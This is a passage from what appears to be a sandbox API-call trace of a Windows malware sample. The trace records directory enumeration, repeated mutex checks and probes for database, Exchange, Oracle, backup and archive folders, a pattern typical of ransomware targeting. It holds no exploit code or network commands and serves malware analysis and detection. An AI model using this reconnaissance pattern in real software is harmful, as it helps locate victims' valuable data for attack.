lpsz="wmm2clip.dll") returned 0xc [0057.219] CharLowerBuffW (in: lpsz=".dll", cchLength=0x4 | out: lpsz=".dll") returned 0x4 [0057.219] FindClose (in: hFindFile=0x54e180 | out: hFindFile=0x54e180) returned 1 [0057.219] GlobalLock (hMem=0x440004) returned 0x54f168 [0057.219] GlobalHandle (pMem=0x54f168) returned 0x440004 [0057.219] GlobalUnlock (hMem=0x440004) returned 0 [0057.219] GlobalLock (hMem=0x440004) returned 0x54f168 [0057.220] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.220] GlobalHandle (pMem=0x54f168) returned 0x440004 [0057.220] GlobalUnlock (hMem=0x440004) returned 0 [0057.220] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.220] GlobalUnlock (hMem=0x44000c) returned 0 [0057.220] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\*.*", lpFindFileData=0x18f524 | out: lpFindFileData=0x18f524*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x434607e0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x434607e0, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e180 [0057.220] FileTimeToLocalFileTime (in: lpFileTime=0x18f538, lpLocalFileTime=0x18f448 | out: lpLocalFileTime=0x18f448) returned 1 [0057.220] FileTimeToDosDateTime (in: lpFileTime=0x18f448, lpFatDate=0x18f506, lpFatTime=0x18f504 | out: lpFatDate=0x18f506, lpFatTime=0x18f504) returned 1 [0057.220] GlobalLock (hMem=0x44000c) returned 0x54f168 [0057.220] GlobalHandle (pMem=0x54f168) returned 0x44000c [0057.220] GlobalUnlock (hMem=0x44000c) returned 0 [0057.220] GlobalLock (hMem=0x44000c) returned 0x54f168 [0057.220] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.220] GlobalHandle (pMem=0x54f168) returned 0x44000c [0057.220] GlobalUnlock (hMem=0x44000c) returned 0 [0057.220] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.220] GlobalUnlock (hMem=0x440004) returned 0 [0057.220] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.220] FindNextFileW (in: hFindFile=0x54e180, lpFindFileData=0x18f524 | out: lpFindFileData=0x18f524*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x434607e0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x434607e0, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0057.220] FileTimeToLocalFileTime (in: lpFileTime=0x18f538, lpLocalFileTime=0x18f444 | out: lpLocalFileTime=0x18f444) returned 1 [0057.220] FileTimeToDosDateTime (in: lpFileTime=0x18f444, lpFatDate=0x18f506, lpFatTime=0x18f504 | out: lpFatDate=0x18f506, lpFatTime=0x18f504) returned 1 [0057.220] GlobalLock (hMem=0x440004) returned 0x54f168 [0057.221] GlobalHandle (pMem=0x54f168) returned 0x440004 [0057.221] GlobalUnlock (hMem=0x440004) returned 0 [0057.221] GlobalLock (hMem=0x440004) returned 0x54f168 [0057.221] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.221] GlobalHandle (pMem=0x54f168) returned 0x440004 [0057.221] GlobalUnlock (hMem=0x440004) returned 0 [0057.221] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.221] GlobalUnlock (hMem=0x44000c) returned 0 [0057.221] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.221] FindNextFileW (in: hFindFile=0x54e180, lpFindFileData=0x18f524 | out: lpFindFileData=0x18f524*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0ed7565, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0ed7565, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0efd6c5, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xc600, dwReserved0=0x0, dwReserved1=0x0, cFileName="audiodepthconverter.ax", cAlternateFileName="")) returned 1 [0057.221] FileTimeToLocalFileTime (in: lpFileTime=0x18f538, lpLocalFileTime=0x18f444 | out: lpLocalFileTime=0x18f444) returned 1 [0057.221] FileTimeToDosDateTime (in: lpFileTime=0x18f444, lpFatDate=0x18f506, lpFatTime=0x18f504 | out: lpFatDate=0x18f506, lpFatTime=0x18f504) returned 1 [0057.221] GlobalLock (hMem=0x44000c) returned 0x54f168 [0057.221] GlobalHandle (pMem=0x54f168) returned 0x44000c [0057.221] GlobalUnlock (hMem=0x44000c) returned 0 [0057.221] GlobalLock (hMem=0x44000c) returned 0x54f168 [0057.221] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.221] GlobalHandle (pMem=0x54f168) returned 0x44000c [0057.221] GlobalUnlock (hMem=0x44000c) returned 0 [0057.221] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.221] GlobalUnlock (hMem=0x440004) returned 0 [0057.221] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.221] FindNextFileW (in: hFindFile=0x54e180, lpFindFileData=0x18f524 | out: lpFindFileData=0x18f524*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x499cc441, ftCreationTime.dwHighDateTime=0x1c9ea0f, ftLastAccessTime.dwLowDateTime=0x499cc441, ftLastAccessTime.dwHighDateTime=0x1c9ea0f, ftLastWriteTime.dwLowDateTime=0x499cc441, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1303c, dwReserved0=0x0, dwReserved1=0x0, cFileName="bod_r.TTF", cAlternateFileName="")) returned 1 [0057.221] FileTimeToLocalFileTime (in: lpFileTime=0x18f538, lpLocalFileTime=0x18f444 | out: lpLocalFileTime=0x18f444) returned 1 [0057.221] FileTimeToDosDateTime (in: lpFileTime=0x18f444, lpFatDate=0x18f506, lpFatTime=0x18f504 | out: lpFatDate=0x18f506, lpFatTime=0x18f504) returned 1 [0057.221] GlobalLock (hMem=0x440004) returned 0x54f168 [0057.221] GlobalHandle (pMem=0x54f168) returned 0x440004 [0057.221] GlobalUnlock (hMem=0x440004) returned 0 [0057.222] GlobalLock (hMem=0x440004) returned 0x54f168 [0057.222] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.222] GlobalHandle (pMem=0x54f168) returned 0x440004 [0057.222] GlobalUnlock (hMem=0x440004) returned 0 [0057.222] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.222] GlobalUnlock (hMem=0x44000c) returned 0 [0057.222] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.222] FindNextFileW (in: hFindFile=0x54e180, lpFindFileData=0x18f524 | out: lpFindFileData=0x18f524*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3f7a0d0, ftCreationTime.dwHighDateTime=0x1d56f70, ftLastAccessTime.dwLowDateTime=0x46679d50, ftLastAccessTime.dwHighDateTime=0x1d583e6, ftLastWriteTime.dwLowDateTime=0x46679d50, ftLastWriteTime.dwHighDateTime=0x1d583e6, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="constructedstartedsince.exe", cAlternateFileName="CONSTR~1.EXE")) returned 1 [0057.222] FileTimeToLocalFileTime (in: lpFileTime=0x18f538, lpLocalFileTime=0x18f444 | out: lpLocalFileTime=0x18f444) returned 1 [0057.222] FileTimeToDosDateTime (in: lpFileTime=0x18f444, lpFatDate=0x18f506, lpFatTime=0x18f504 | out: lpFatDate=0x18f506, lpFatTime=0x18f504) returned 1 [0057.222] GlobalLock (hMem=0x44000c) returned 0x54f168 [0057.222] GlobalHandle (pMem=0x54f168) returned 0x44000c [0057.222] GlobalUnlock (hMem=0x44000c) returned 0 [0057.222] GlobalLock (hMem=0x44000c) returned 0x54f168 [0057.222] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.222] GlobalHandle (pMem=0x54f168) returned 0x44000c [0057.222] GlobalUnlock (hMem=0x44000c) returned 0 [0057.222] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.222] GlobalUnlock (hMem=0x440004) returned 0 [0057.222] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.222] FindNextFileW (in: hFindFile=0x54e180, lpFindFileData=0x18f524 | out: lpFindFileData=0x18f524*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0eb1404, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0eb1404, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0ed7565, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xf000, dwReserved0=0x0, dwReserved1=0x0, cFileName="directshowtap.ax", cAlternateFileName="")) returned 1 [0057.222] FileTimeToLocalFileTime (in: lpFileTime=0x18f538, lpLocalFileTime=0x18f444 | out: lpLocalFileTime=0x18f444) returned 1 [0057.222] FileTimeToDosDateTime (in: lpFileTime=0x18f444, lpFatDate=0x18f506, lpFatTime=0x18f504 | out: lpFatDate=0x18f506, lpFatTime=0x18f504) returned 1 [0057.222] GlobalLock (hMem=0x440004) returned 0x54f168 [0057.222] GlobalHandle (pMem=0x54f168) returned 0x440004 [0057.222] GlobalUnlock (hMem=0x440004) returned 0 [0057.223] GlobalLock (hMem=0x440004) returned 0x54f168 [0057.223] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.223] GlobalHandle (pMem=0x54f168) returned 0x440004 [0057.223] GlobalUnlock (hMem=0x440004) returned 0 [0057.223] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.223] GlobalUnlock (hMem=0x44000c) returned 0 [0057.223] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.223] FindNextFileW (in: hFindFile=0x54e180, lpFindFileData=0x18f524 | out: lpFindFileData=0x18f524*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9ae6642, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xc9ae6642, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0xe1601f60, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x227600, dwReserved0=0x0, dwReserved1=0x0, cFileName="DVDMaker.exe", cAlternateFileName="")) returned 1 [0057.223] FileTimeToLocalFileTime (in: lpFileTime=0x18f538, lpLocalFileTime=0x18f444 | out: lpLocalFileTime=0x18f444) returned 1 [0057.223] FileTimeToDosDateTime (in: lpFileTime=0x18f444, lpFatDate=0x18f506, lpFatTime=0x18f504 | out: lpFatDate=0x18f506, lpFatTime=0x18f504) returned 1 [0057.223] GlobalLock (hMem=0x44000c) returned 0x54f168 [0057.223] GlobalHandle (pMem=0x54f168) returned 0x44000c [0057.223] GlobalUnlock (hMem=0x44000c) returned 0 [0057.223] GlobalLock (hMem=0x44000c) returned 0x54f168 [0057.223] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.223] GlobalHandle (pMem=0x54f168) returned 0x44000c [0057.223] GlobalUnlock (hMem=0x44000c) returned 0 [0057.223] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.223] GlobalUnlock (hMem=0x440004) returned 0 [0057.223] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.223] FindNextFileW (in: hFindFile=0x54e180, lpFindFileData=0x18f524 | out: lpFindFileData=0x18f524*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ead9a68, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xaa276ca7, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f05f082, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0057.223] FileTimeToLocalFileTime (in: lpFileTime=0x18f538, lpLocalFileTime=0x18f444 | out: lpLocalFileTime=0x18f444) returned 1 [0057.223] FileTimeToDosDateTime (in: lpFileTime=0x18f444, lpFatDate=0x18f506, lpFatTime=0x18f504 | out: lpFatDate=0x18f506, lpFatTime=0x18f504) returned 1 [0057.224] GlobalLock (hMem=0x440004) returned 0x54f168 [0057.224] GlobalHandle (pMem=0x54f168) returned 0x440004 [0057.224] GlobalUnlock (hMem=0x440004) returned 0 [0057.224] GlobalLock (hMem=0x440004) returned 0x54f168 [0057.224] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.224] GlobalHandle (pMem=0x54f168) returned 0x440004 [0057.224] GlobalUnlock (hMem=0x440004) returned 0 [0057.224] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.224] GlobalUnlock (hMem=0x44000c) returned 0 [0057.224] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.224] GlobalLock (hMem=0x44000c) returned 0x54f168 [0057.224] GlobalHandle (pMem=0x54f168) returned 0x44000c [0057.224] GlobalUnlock (hMem=0x44000c) returned 0 [0057.224] GlobalLock (hMem=0x44000c) returned 0x54f168 [0057.224] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.224] GlobalHandle (pMem=0x54f168) returned 0x44000c [0057.224] GlobalUnlock (hMem=0x44000c) returned 0 [0057.224] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.224] GlobalUnlock (hMem=0x440004) returned 0 [0057.224] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.224] SysReAllocStringLen (in: pbstr=0x18f444*=0x0, psz="C:\\Program Files\\DVD Maker\\en-US", len=0x20 | out: pbstr=0x18f444*="C:\\Program Files\\DVD Maker\\en-US") returned 1 [0057.224] GlobalLock (hMem=0x440004) returned 0x54f168 [0057.224] GlobalHandle (pMem=0x54f168) returned 0x440004 [0057.224] GlobalUnlock (hMem=0x440004) returned 0 [0057.224] GlobalLock (hMem=0x440004) returned 0x54f168 [0057.225] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.225] GlobalHandle (pMem=0x54f168) returned 0x440004 [0057.225] GlobalUnlock (hMem=0x440004) returned 0 [0057.225] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.225] GlobalUnlock (hMem=0x44000c) returned 0 [0057.225] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\en-US\\Microsoft\\Exchange Server", lpFindFileData=0x18eec0 | out: lpFindFileData=0x18eec0*(dwFileAttributes=0x7758b506, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="䱈@⸂RⷖR企@\x18䀴Q\x18\x1b")) returned 0xffffffff [0057.225] GetLastError () returned 0x3 [0057.225] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\en-US\\", cchLength=0x21 | out: lpsz="c:\\program files\\dvd maker\\en-us\\") returned 0x21 [0057.225] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42948, cbMultiByte=26, lpWideCharStr=0x18e0c4, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0057.225] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=21, lpWideCharStr=0x18e10c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server\\rver\\ɞ") returned 21 [0057.225] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\en-US\\Microsoft SQL Server", lpFindFileData=0x18eec0 | out: lpFindFileData=0x18eec0*(dwFileAttributes=0x7758b506, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="Q䱠@ⶔR企@\x18㾤Q\x181")) returned 0xffffffff [0057.226] GetLastError () returned 0x2 [0057.226] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\en-US\\", cchLength=0x21 | out: lpsz="c:\\program files\\dvd maker\\en-us\\") returned 0x21 [0057.226] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42948, cbMultiByte=21, lpWideCharStr=0x18e0c4, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server\\\x18\x15") returned 21 [0057.226] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=9, lpWideCharStr=0x18e10c, cchWideChar=2047 | out: lpWideCharStr="Firebird\\ SQL Server\\rver\\ɞ") returned 9 [0057.226] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\en-US\\Firebird", lpFindFileData=0x18eec0 | out: lpFindFileData=0x18eec0*(dwFileAttributes=0x7758b506, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="Q䱠@㎬R企@\x18?T\x18;")) returned 0xffffffff [0057.226] GetLastError () returned 0x2 [0057.227] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\en-US\\", cchLength=0x21 | out: lpsz="c:\\program files\\dvd maker\\en-us\\") returned 0x21 [0057.227] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=9, lpWideCharStr=0x18e0c4, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 [0057.227] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=8, lpWideCharStr=0x18e10c, cchWideChar=2047 | out: lpWideCharStr="MSSQL.1\\\\ SQL Server\\rver\\ɞ") returned 8 [0057.227] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\en-US\\MSSQL.1", lpFindFileData=0x18eec0 | out: lpFindFileData=0x18eec0*(dwFileAttributes=0x7758b506, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="Q䱠@ⶔR企@\x18?T\x18D")) returned 0xffffffff [0057.227] GetLastError () returned 0x2 [0057.227] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\en-US\\", cchLength=0x21 | out: lpsz="c:\\program files\\dvd maker\\en-us\\") returned 0x21 [0057.227] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=8, lpWideCharStr=0x18e0c4, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\ ") returned 8 [0057.227] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=37, lpWideCharStr=0x18e10c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server Compact Edition\\眵\x18") returned 37 [0057.228] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\en-US\\Microsoft SQL Server Compact Edition", lpFindFileData=0x18eec0 | out: lpFindFileData=0x18eec0*(dwFileAttributes=0x7758b506, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="Q䱠@㎬R企@\x18Q\x18j")) returned 0xffffffff [0057.228] GetLastError () returned 0x2 [0057.228] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\en-US\\", cchLength=0x21 | out: lpsz="c:\\program files\\dvd maker\\en-us\\") returned 0x21 [0057.228] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e05ab0, cbMultiByte=37, lpWideCharStr=0x18e0c4, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server compact edition\\icrosoft SQL Server Compact Edition\\眵\x18") returned 37 [0057.228] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18e10c, cchWideChar=2047 | out: lpWideCharStr="Adobe\\oft SQL Server Compact Edition\\眵\x18") returned 6 [0057.228] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\en-US\\Adobe", lpFindFileData=0x18eec0 | out: lpFindFileData=0x18eec0*(dwFileAttributes=0x7758b506, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="Q䱠@練R企@\x18?T\x18q")) returned 0xffffffff [0057.228] GetLastError () returned 0x2 [0057.228] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\en-US\\", cchLength=0x21 | out: lpsz="c:\\program files\\dvd maker\\en-us\\") returned 0x21 [0057.228] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=6, lpWideCharStr=0x18e0c4, cchWideChar=2047 | out: lpWideCharStr="adobe\\QP") returned 6 [0057.229] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18e10c, cchWideChar=2047 | out: lpWideCharStr="Oracle\\ft SQL Server Compact Edition\\眵\x18") returned 7 [0057.229] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\en-US\\Oracle", lpFindFileData=0x18eec0 | out: lpFindFileData=0x18eec0*(dwFileAttributes=0x7758b506, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="Q䱠@嚔U企@\x18?T\x18y")) returned 0xffffffff [0057.229] GetLastError () returned 0x2 [0057.229] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\en-US\\", cchLength=0x21 | out: lpsz="c:\\program files\\dvd maker\\en-us\\") returned 0x21 [0057.229] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=7, lpWideCharStr=0x18e0c4, cchWideChar=2047 | out: lpWideCharStr="oracle\\T ") returned 7 [0057.229] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18e10c, cchWideChar=2047 | out: lpWideCharStr="Archiveft SQL Server Compact Edition\\眵\x18") returned 7 [0057.229] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\en-US\\Archive", lpFindFileData=0x18eec0 | out: lpFindFileData=0x18eec0*(dwFileAttributes=0x7758b506, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="Q䱠@ⶔR企@\x18?T\x18\x81")) returned 0xffffffff [0057.229] GetLastError () returned 0x2 [0057.230] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\en-US\\", cchLength=0x21 | out: lpsz="c:\\program files\\dvd maker\\en-us\\") returned 0x21 [0057.230] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=7, lpWideCharStr=0x18e0c4, cchWideChar=2047 | out: lpWideCharStr="archiveT ") returned 7 [0057.230] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18e10c, cchWideChar=2047 | out: lpWideCharStr="Backupeft SQL Server Compact Edition\\眵\x18") returned 6 [0057.230] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\en-US\\Backup", lpFindFileData=0x18eec0 | out: lpFindFileData=0x18eec0*(dwFileAttributes=0x7758b506, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="Q䱠@練R企@\x18?T\x18\x88")) returned 0xffffffff [0057.230] GetLastError () returned 0x2 [0057.230] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\en-US\\", cchLength=0x21 | out: lpsz="c:\\program files\\dvd maker\\en-us\\") returned 0x21 [0057.230] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=6, lpWideCharStr=0x18e0c4, cchWideChar=2047 | out: lpWideCharStr="backup?T ") returned 6 [0057.230] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18e10c, cchWideChar=2047 | out: lpWideCharStr="Reserveft SQL Server Compact Edition\\眵\x18") returned 6 [0057.230] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\en-US\\Reserv", lpFindFileData=0x18eec0 | out: lpFindFileData=0x18eec0*(dwFileAttributes=0x7758b506, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", 